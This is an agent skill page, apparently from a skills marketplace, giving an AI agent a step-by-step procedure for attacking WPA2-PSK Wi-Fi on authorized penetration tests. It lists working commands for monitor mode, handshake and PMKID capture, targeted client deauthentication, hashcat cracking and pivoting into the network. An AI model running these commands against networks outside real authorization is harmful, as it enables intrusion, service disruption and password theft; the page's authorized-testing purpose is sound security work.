# Wireless Wpa2 Attacks

> Attack WPA2-PSK Wi-Fi end to end — monitor mode, network discovery, handshake/PMKID capture, and offline cracking. Load on an authorized wireless engagement with a WPA2-personal network in scope. Signals: an SSID/BSSID to test, a wireless adapter in monitor mode, a captured .pcap/.22000, "crack the Wi-Fi", "capture the handshake", aircrack-ng/hcxdumptool in play.

- Skill: `noorqureshi/wireless-wpa2-attacks` (Agent Skill)
- Install (CLI): `npx skillmds@latest add noorqureshi/wireless-wpa2-attacks`
- Raw SKILL.md: https://api.skillmd.com/api/skills/noorqureshi/wireless-wpa2-attacks/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Product & Planning
- Author: NoorQureshi (https://skillmd.com/u/noorqureshi)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/noorqureshi/wireless-wpa2-attacks

---


# WPA2-PSK attacks

## When it applies
An authorized wireless assessment where a WPA2-Personal (pre-shared key) network is in scope and you
have a monitor-mode-capable adapter within radio range. This is `pentest`-only — wireless testing
needs physical proximity and authorization for the specific SSIDs (record them in `scope.txt`).

## Why it works
WPA2-PSK derives its session keys from the passphrase and values exchanged in the 4-way handshake.
Capture that handshake (or a single PMKID from the AP) and you can brute the passphrase offline — no
further interaction with the network, no lockout. Weak/guessable PSKs fall quickly.

## Method
1. **Monitor mode.** `airmon-ng check kill` then `airmon-ng start wlan0` (interface → `wlan0mon`).
2. **Discover.** `airodump-ng wlan0mon` — note the target BSSID, channel, and associated clients.
3. **Capture — two routes:**
   - **4-way handshake:** lock to the channel and capture:
     `airodump-ng -c <ch> --bssid <BSSID> -w cap wlan0mon`. Speed it up with a *targeted* deauth of
     one associated client: `aireplay-ng -0 3 -a <BSSID> -c <CLIENT> wlan0mon` (minimal, not a flood).
   - **PMKID (clientless):** `hcxdumptool -i wlan0mon --enable_status=1` — grabs the PMKID from APs
     that expose it, no client needed.
4. **Convert to hashcat format.** `hcxpcapngtool -o hash.22000 cap.pcapng` (the modern `.22000`
   format replacing `.hccapx`).
5. **Crack offline.** `hashcat -m 22000 hash.22000 rockyou.txt -r rules/best64.rule` — hand off the
   deeper cracking flow to `network-credential-cracking` (wordlists, rules, masks).
6. **Prove and pivot** — once on the WLAN, treat it as a network foothold (`recon`,
   `network-*`, `network-pivoting-tunneling`).

## Gotchas
- **Deauth minimally.** A broadcast deauth flood is disruptive and often out of RoE — deauth one
  client, briefly, only to force a handshake; confirm the RoE allows it.
- **Handshake completeness** — `aircrack-ng cap.pcapng` should report a valid handshake / EAPOL
  M1-M4; a partial capture won't crack. PMKID avoids this.
- **Channel lock matters** — capturing while hopping misses frames; pin `-c <channel>`.
- **Regulatory/adapter limits** — some adapters/regions restrict channels or injection; verify the
  adapter supports monitor mode + injection first.
- **PSK strength decides everything** — a long random PSK won't crack; report that as the positive
  finding rather than burning weeks.

## Verify success
A recovered PSK that authenticates to the target SSID (or a demonstrably valid captured handshake for
a weak-PSK finding) — obtained with minimal disruption and only for in-scope SSIDs.

## References
aircrack-ng suite docs; `hcxdumptool`/`hcxtools`; hashcat mode 22000. Cracking depth:
`network-credential-cracking`.